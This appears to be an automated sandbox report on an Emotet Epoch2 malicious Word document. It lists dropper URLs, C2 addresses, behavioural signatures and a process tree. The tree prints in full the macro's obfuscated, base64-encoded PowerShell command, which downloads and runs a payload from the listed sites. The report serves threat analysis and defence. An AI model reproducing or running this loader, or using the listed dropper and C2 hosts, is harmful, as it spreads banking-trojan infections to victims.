Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    148s
  • max time network
    144s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    30/10/2020, 07:38

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_a120ab7f12256c4b260034ecf26910f2eb405bb2c41ea9d1d78fcd2f529d2deb_2020-10-30__064243585370._doc.doc
  • Size 241KB
  • Sample201030-ql449f8k9a
  • SHA256 a120ab7f12256c4b260034ecf26910f2eb405bb2c41ea9d1d78fcd2f529d2deb
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch2bankertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://foryoulady.com/wp-admin/H3Tu5s/
  • exe.dropper

    https://www.flem-cartoons.fr/wp-includes/Gogzje/
  • exe.dropper

    https://blog.19850120.xyz/wp-admin/VOfoZiU/
  • exe.dropper

    http://capellaevents.com/val-images/mD2zBip/
  • exe.dropper

    https://amirthafoundation.com/wp-admin/0KetV/
  • exe.dropper

    https://busyafnutrition.com.au/wp-admin/A83yfME/
  • exe.dropper

    http://sploong.net/cgi-bin/JsbuL5/
  • exe.dropper

    https://sygnalizujemy.pl/wp-admin/yj/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 102.182.145.130:80

  • 173.173.254.105:80

  • 64.207.182.168:8080

  • 51.89.199.141:8080

  • 167.114.153.111:8080

  • 173.63.222.65:80

  • 218.147.193.146:80

  • 59.125.219.109:443

  • 172.104.97.173:8080

  • 190.162.215.233:80

  • 68.115.186.26:80

  • 78.188.106.53:443

  • 190.240.194.77:443

  • 24.133.106.23:80

  • 80.227.52.78:80

  • 79.137.83.50:443

  • 120.150.218.241:443

  • 62.171.142.179:8080

  • 194.4.58.192:7080

  • 62.30.7.67:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_a120ab7f12256c4b260034ecf26910f2eb405bb2c41ea9d1d78fcd2f529d2deb_2020-10-30__064243585370._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:648
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD cwBlAFQAIAAoACcAQQBoAFUAJwArACcAOABWACcAKQAgACgAWwBUAHkAUABlAF0AKAAiAHsANgB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMAB9AHsANQB9AHsAMQB9ACIAIAAtAGYAIAAnAC4ARABJAFIAZQBjAFQAbwAnACwAJwB5ACcALAAnAFkAcwB0ACcALAAnAC4ASQBPACcALAAnAEUATQAnACwAJwBSACcALAAnAHMAJwApACAAIAApACAAOwAgACAAJAA0AHoAZwA3ACAAIAA9AFsAVAB5AFAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADQAfQB7ADkAfQB7ADYAfQB7ADcAfQB7ADMAfQB7ADEAfQB7ADIAfQB7ADgAfQAiACAALQBGACcALgBOAGUAJwAsACcAbwBpAG4AdAAnACwAJwBtAEEAJwAsACcAcAAnACwAJwB0ACcALAAnAFMAeQBTAFQAZQBNACcALAAnAHIAdgBJAEMAJwAsACcARQAnACwAJwBOAEEARwBFAFIAJwAsACcALgBTAGUAJwApACAAOwAgACQAVwA3AGoAbQBjAHIAMAA9ACgAJwBOACcAKwAoACcAdABjAGwAJwArACcAbQAnACkAKwAnAHAAeQAnACkAOwAkAE0AZgBkADMAdAB1AGcAPQAkAEgAdgBmADcAaQA1AG4AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFcAdQBvAGgAMgA1ADIAOwAkAEUAYgA5AHkAawA2AGIAPQAoACgAJwBSAHUAdABpACcAKwAnAGkAJwApACsAJwB0AG0AJwApADsAIAAgACgAZwBlAHQALQB2AEEAcgBpAGEAQgBsAGUAIAAoACcAQQBoAHUAJwArACcAOAB2ACcAKQAgACAAKQAuAHYAQQBMAHUAZQA6ADoAIgBDAHIAYABlAGEAYABUAEUAZABJAFIAZQBjAFQAYABvAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAEUAdgAnACsAKAAnAGoAJwArACcAWgB4AGsAJwArACcAYgAzAGwAJwApACsAJwA1ACcAKwAoACcARQB2AGoAJwArACcATwBnACcAKQArACgAJwBsACcAKwAnAG8ANwB4ADAARQAnACsAJwB2AGoAJwApACkALQBSAGUAcABMAGEAQwBFACgAJwBFACcAKwAnAHYAagAnACkALABbAEMASABBAFIAXQA5ADIAKQApADsAJABOAHIAZABrAHIAYwA0AD0AKAAnAE4AJwArACgAJwA5AHEAcwAnACsAJwBjADMAJwApACsAJwBfACcAKQA7ACAAJAA0AHoAZwA3ADoAOgAiAHMAYABlAGMAdQBSAEkAdABZAFAAcgBgAE8AVABPAGMAYABPAEwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAFUAaQBlAGsAcwBhAHYAPQAoACcATwB4ACcAKwAoACcAaAB5AGwAZQAnACsAJwBkACcAKQApADsAJABLAHEAegBlAHQAcwA3ACAAPQAgACgAKAAnAEYAawAnACsAJwB5ACcAKQArACgAJwBrADEAJwArACcAcQBuACcAKQApADsAJABHADgAZQBtAG8AdABxAD0AKAAoACcAUAAnACsAJwA0AHEAXwBvACcAKQArACcAYwB4ACcAKQA7ACQAWAB5ADIANgA2AGYAMQA9ACgAKAAnAFcAZABsADQAJwArACcAZAAnACkAKwAnAHoAXwAnACkAOwAkAFUAMgBlAHUAcQBwAGgAPQAkAEgATwBNAEUAKwAoACgAJwBTAFIAJwArACgAJwBrACcAKwAnAFoAeABrACcAKQArACgAJwBiADMAbAA1ACcAKwAnAFMAUgBrAE8AJwArACcAZwBsACcAKwAnAG8AJwApACsAJwA3ACcAKwAoACcAeAAwAFMAJwArACcAUgBrACcAKQApAC4AIgByAGAARQBgAHAATABBAEMARQAiACgAKABbAGMASABBAFIAXQA4ADMAKwBbAGMASABBAFIAXQA4ADIAKwBbAGMASABBAFIAXQAxADAANwApACwAWwBTAHQAUgBpAG4AZwBdAFsAYwBIAEEAUgBdADkAMgApACkAKwAkAEsAcQB6AGUAdABzADcAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABXAGEAYgB2ADcAaQBiAD0AKAAoACcARgAnACsAJwBsAGMAcwB6AGQAJwApACsAJwAwACcAKQA7ACQASgBwADAAYwA0ADgANgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AGUAQgBDAEwASQBlAE4AVAA7ACQAQwAyAG8AMQA2AHUAMwA9ACgAKAAoACgAJwBoAHQAdAAnACsAJwBwAHMAOgBdACcAKwAnAFsAIAAxACkAIAAnACkAKQArACgAKAAnAGoAJwArACcAagBrAGcAUwAgAFsAXQAgAFsAXQB3AF0AWwAgACcAKwAnADEAJwArACcAKQAgAGoAagAnACkAKQArACgAKAAnAGsAZwAnACsAJwBTACAAWwBdACAAWwBdACcAKwAnAHcAZgAnACsAJwBvAHIAJwArACcAeQBvAHUAJwArACcAbABhAGQAeQAuAGMAbwBtACcAKwAnAF0AWwAgADEAKQAgAGoAagBrAGcAUwAgACcAKwAnAFsAXQAgAFsAXQAnACsAJwB3ACcAKwAnAHcAJwArACcAcAAtAGEAZABtAGkAbgBdAFsAIAAxACkAJwArACcAIABqAGoAawBnAFMAIABbAF0AIABbAF0AJwArACcAdwAnACsAJwBIADMAVAB1ACcAKwAnADUAcwAnACsAJwBdAFsAIAAxACcAKwAnACkAJwArACcAIABqAGoAJwArACcAawBnAFMAIABbAF0AIAAnACsAJwBbAF0AdwAnACsAJwBAACcAKwAnAGgAdAAnACsAJwB0ACcAKQApACsAJwBwACcAKwAoACgAJwBzADoAXQAnACsAJwBbACcAKwAnACAAJwArACcAMQApACAAagAnACsAJwBqAGsAZwBTACcAKwAnACAAWwBdACAAJwArACcAWwBdAHcAXQBbACAAJwApACkAKwAoACgAJwAxACkAJwArACcAIABqAGoAJwArACcAawBnAFMAJwArACcAIABbAF0AIABbACcAKwAnAF0AdwB3AHcAdwAnACkAKQArACgAKAAnAC4AZgAnACsAJwBsAGUAbQAnACsAJwAtAGMAJwArACcAYQAnACsAJwByAHQAbwBvAG4AcwAuAGYAcgBdAFsAIAAxACkAJwArACcAIABqAGoAawBnAFMAJwArACcAIABbACcAKwAnAF0AIABbACcAKQApACsAKAAoACcAXQB3ACcAKwAnAHcAJwArACcAcAAnACsAJwAtACcAKwAnAGkAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwBdAFsAIAAxACkAIABqACcAKwAnAGoAawBnAFMAIABbAF0AJwArACcAIAAnACsAJwBbAF0AdwBHAG8AZwB6AGoAZQBdAFsAIAAxACcAKwAnACkAIAAnACsAJwBqAGoAawBnACcAKwAnAFMAIABbAF0AJwArACcAIABbAF0AJwArACcAdwBAACcAKwAnAGgAJwArACcAdAB0ACcAKwAnAHAAJwArACcAcwA6AF0AJwArACcAWwAgADEAJwArACcAKQAgAGoAagBrAGcAUwAgACcAKwAnAFsAXQAgAFsAXQAnACsAJwB3AF0AWwAnACsAJwAgADEAKQAnACsAJwAgACcAKwAnAGoAJwArACcAagBrAGcAJwArACcAUwAgAFsAXQAgAFsAJwArACcAXQB3ACcAKwAnAGIAbAAnACsAJwBvACcAKwAnAGcALgAxADkAOAA1ADAAMQAnACsAJwAyADAALgB4ACcAKQApACsAKAAoACcAeQB6AF0AWwAnACsAJwAgADEAKQAnACsAJwAgACcAKwAnAGoAJwArACcAagBrAGcAUwAgAFsAXQAgAFsAJwArACcAXQAnACsAJwB3AHcAJwApACkAKwAoACgAJwBwACcAKwAnAC0AYQBkAG0AaQBuAF0AJwArACcAWwAgACcAKwAnADEAKQAgAGoAagAnACsAJwBrAGcAJwArACcAUwAnACsAJwAgAFsAXQAgAFsAXQB3AFYATwAnACkAKQArACgAKAAnAGYAbwBaAGkAJwArACcAVQBdAFsAIAAxACkAIAAnACsAJwBqAGoAJwArACcAawBnAFMAIAAnACsAJwBbAF0AJwArACcAIABbAF0AdwAnACsAJwBAACcAKwAnAGgAdAB0AHAAOgBdACcAKwAnAFsAJwArACcAIAAxACkAJwArACcAIAAnACsAJwBqAGoAawBnAFMAJwArACcAIAAnACsAJwBbAF0AIABbACcAKwAnAF0AdwAnACsAJwBdAFsAIAAxACkAIABqAGoAJwArACcAawAnACkAKQArACgAKAAnAGcAUwAgAFsAXQAgAFsAXQAnACsAJwB3AGMAYQBwACcAKwAnAGUAbABsAGEAZQB2AGUAbgAnACsAJwB0AHMALgBjAG8AbQBdAFsAIAAxACkAIABqAGoAawBnACcAKwAnAFMAIABbAF0AJwArACcAIAAnACsAJwBbAF0AJwArACcAdwB2AGEAbAAtAGkAbQBhAGcAJwArACcAZQAnACkAKQArACgAKAAnAHMAJwArACcAXQBbACcAKwAnACAAMQApACAAJwApACkAKwAoACgAJwBqAGoAawAnACsAJwBnACcAKwAnAFMAJwArACcAIAAnACsAJwBbAF0AIABbAF0AdwBtACcAKwAnAEQAMgB6ACcAKwAnAEIAaQBwACcAKwAnAF0AWwAgADEAKQAgAGoAJwArACcAagBrAGcAUwAnACsAJwAgAFsAXQAgACcAKwAnAFsAXQAnACsAJwB3AEAAaAB0AHQAcABzACcAKwAnADoAXQBbACAAMQApACAAagBqACcAKwAnAGsAZwAnACsAJwBTACcAKwAnACAAWwAnACsAJwBdACAAWwBdAHcAJwArACcAXQBbACAAMQApACAAJwArACcAagBqAGsAZwBTACAAJwArACcAWwBdACAAJwArACcAWwBdACcAKwAnAHcAYQBtAGkAcgB0ACcAKwAnAGgAYQBmACcAKwAnAG8AdQBuAGQAYQB0AGkAbwBuAC4AYwBvAG0AXQBbACAAMQAnACsAJwApACcAKwAnACAAagBqAGsAZwBTACAAWwAnACkAKQArACgAJwBdACAAWwAnACsAJwBdAHcAdwBwAC0AYQAnACsAJwBkAG0AJwApACsAKAAoACcAaQBuAF0AWwAgACcAKwAnADEAKQAgAGoAagBrAGcAJwArACcAUwAgACcAKwAnAFsAXQAgAFsAJwArACcAXQB3ADAASwAnACsAJwBlAHQAVgAnACkAKQArACgAKAAnAF0AWwAnACsAJwAgADEAJwArACcAKQAgACcAKQApACsAKAAoACcAagBqACcAKwAnAGsAZwBTACcAKwAnACAAJwArACcAWwBdACAAWwBdAHcAQABoAHQAdABwAHMAOgBdAFsAJwArACcAIAAxACkAIAAnACsAJwBqAGoAawAnACsAJwBnAFMAIAAnACsAJwBbAF0AJwArACcAIABbAF0AdwAnACsAJwBdAFsAIAAxACkAIAAnACsAJwBqAGoAJwArACcAawBnAFMAIABbAF0AIAAnACkAKQArACgAKAAnAFsAJwArACcAXQB3AGIAdQBzAHkAYQAnACsAJwBmAG4AdQB0AHIAaQB0AGkAbwAnACsAJwBuAC4AYwAnACsAJwBvAG0ALgBhACcAKwAnAHUAJwArACcAXQBbACAAMQApACAAJwArACcAagBqACcAKwAnAGsAZwBTACAAWwBdACAAWwAnACsAJwBdAHcAdwBwAC0AYQBkACcAKwAnAG0AJwArACcAaQBuAF0AJwArACcAWwAnACsAJwAgADEAJwArACcAKQAnACsAJwAgAGoAJwArACcAagBrACcAKwAnAGcAUwAgACcAKwAnAFsAXQAgAFsAXQB3AEEAOAAnACsAJwAzACcAKwAnAHkAZgBNAEUAXQBbACAAMQAnACsAJwApACAAagAnACsAJwBqAGsAZwAnACsAJwBTACAAJwArACcAWwBdACAAJwArACcAWwBdACcAKwAnAHcAQABoAHQAJwArACcAdABwACcAKQApACsAKAAoACcAOgBdAFsAIAAxACkAIABqACcAKwAnAGoAawAnACsAJwBnAFMAIAAnACsAJwBbAF0AIABbAF0AdwAnACkAKQArACgAKAAnAF0AWwAgADEAKQAgAGoAagAnACsAJwBrACcAKwAnAGcAJwArACcAUwAgAFsAXQAnACsAJwAgACcAKQApACsAKAAnAFsAXQB3ACcAKwAnAHMAJwApACsAKAAnAHAAJwArACcAbABvAG8AbgBnAC4AJwApACsAKAAnAG4AJwArACcAZQB0AF0AWwAgACcAKQArACgAKAAnADEAKQAnACsAJwAgACcAKwAnAGoAJwArACcAagBrAGcAJwArACcAUwAnACsAJwAgAFsAJwArACcAXQAgAFsAXQAnACsAJwB3AGMAZwBpAC0AYgAnACsAJwBpAG4AXQBbACAAMQApACcAKwAnACAAagBqAGsAZwBTACAAWwAnACsAJwBdACAAWwBdAHcAJwArACcASgBzACcAKwAnAGIAJwArACcAdQAnACsAJwBMACcAKwAnADUAXQBbACAAMQApACAAagBqACcAKwAnAGsAZwBTACAAJwArACcAWwAnACkAKQArACcAXQAgACcAKwAoACgAJwBbAF0AdwBAAGgAdAB0AHAAcwA6ACcAKwAnAF0AJwArACcAWwAgADEAKQAgAGoAagAnACsAJwBrAGcAJwArACcAUwAgAFsAJwArACcAXQAnACsAJwAgAFsAXQB3AF0AWwAgADEAKQAgAGoAJwArACcAagAnACkAKQArACgAKAAnAGsAZwBTACAAWwBdACAAJwArACcAWwBdAHcAcwB5AGcAbgBhAGwAaQB6AHUAagBlACcAKwAnAG0AeQAuAHAAbABdACcAKwAnAFsAIAAnACsAJwAxACkAIABqAGoAawBnACcAKwAnAFMAIABbAF0AJwArACcAIABbAF0AJwArACcAdwB3AHAALQAnACsAJwBhAGQAbQAnACsAJwBpAG4AXQBbACcAKwAnACAAMQApACAAJwArACcAagBqAGsAZwBTACAAJwApACkAKwAoACcAWwBdACcAKwAnACAAWwBdACcAKQArACgAKAAnAHcAeQAnACsAJwBqAF0AWwAnACsAJwAgADEAKQAgACcAKQApACsAKAAnAGoAagAnACsAJwBrAGcAUwAgAFsAJwApACsAKAAnAF0AIABbACcAKwAnAF0AdwAnACkAKQApAC4AIgByAEUAYABwAEwAYABBAGMAZQAiACgAKAAoACcAXQBbACcAKwAnACAAMQAnACsAKAAoACcAKQAnACsAJwAgAGoAJwApACkAKwAoACcAagBrACcAKwAnAGcAJwArACcAUwAgAFsAJwApACsAJwBdACAAJwArACgAJwBbACcAKwAnAF0AdwAnACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwB4ACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBTAGAAcABMAGkAdAAiACgAJABSAGcAbwBjADEAdABqACAAKwAgACQATQBmAGQAMwB0AHUAZwAgACsAIAAkAEUAMgBzAGwAaAB4ADQAKQA7ACQAVgBkAGUAbwBhAGIAeAA9ACgAJwBQADEAJwArACcAeAB1ACcAKwAoACcAYwAnACsAJwBpADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE8AMQBhADcAYgBqAHAAIABpAG4AIAAkAEMAMgBvADEANgB1ADMAKQB7AHQAcgB5AHsAJABKAHAAMABjADQAOAA2AC4AIgBEAG8AdwBOAEwAbwBBAGAARABmAGAASQBsAEUAIgAoACQATwAxAGEANwBiAGoAcAAsACAAJABVADIAZQB1AHEAcABoACkAOwAkAEQAZwBlADkAbAA4AHcAPQAoACgAJwBUACcAKwAnADkAcABmADEAJwApACsAJwAyADUAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFUAMgBlAHUAcQBwAGgAKQAuACIAbABlAG4AYABnAHQAaAAiACAALQBnAGUAIAA0ADEAMgA5ADcAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAJwArACcAaQBuADMAJwApACsAKAAnADIAXwAnACsAJwBQAHIAJwApACsAJwBvACcAKwAoACcAYwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBjAFIARQBgAEEAdABlACIAKAAkAFUAMgBlAHUAcQBwAGgAKQA7ACQARQB6AHYAMAB1AGQAeAA9ACgAKAAnAFMAJwArACcAcQBhADgAMQAnACkAKwAnAGIAMAAnACkAOwBiAHIAZQBhAGsAOwAkAFQAZwBiAHMANwB2ADgAPQAoACgAJwBVACcAKwAnAHgAZAAnACkAKwAoACcAeAAnACsAJwByADkANwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBiADcAdQBmADQAdQA9ACgAJwBOACcAKwAoACcAbwAnACsAJwB2AHIAdwBxACcAKQArACcAYgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1320
  • C:\Users\Admin\Zxkb3l5\Oglo7x0\Fkyk1qn.exe
    C:\Users\Admin\Zxkb3l5\Oglo7x0\Fkyk1qn.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:3576
    • C:\Windows\SysWOW64\KBDFTHRK\win32u.exe
      "C:\Windows\SysWOW64\KBDFTHRK\win32u.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:3568
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NgcSvc
    1⤵
      PID:3260
    • \??\c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s DeviceAssociationService
      1⤵
        PID:744
      • \??\c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s NgcCtnrSvc
        1⤵
        • Modifies data under HKEY_USERS
        PID:2168

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/648-0-0x00007FF99AE10000-0x00007FF99B447000-memory.dmp
            Download

            memory/1320-7-0x00007FF993F60000-0x00007FF99494C000-memory.dmp
            Download

            memory/1320-8-0x00000256C45D0000-0x00000256C45D1000-memory.dmp
            Download

            memory/1320-9-0x00000256C4AE0000-0x00000256C4AE1000-memory.dmp
            Download

            memory/3568-16-0x0000000002140000-0x000000000219B000-memory.dmp
            Download

            memory/3568-17-0x00000000021A0000-0x00000000021FA000-memory.dmp
            Download

            memory/3576-12-0x0000000002330000-0x000000000238B000-memory.dmp
            Download

            memory/3576-13-0x0000000002390000-0x00000000023EA000-memory.dmp
            Download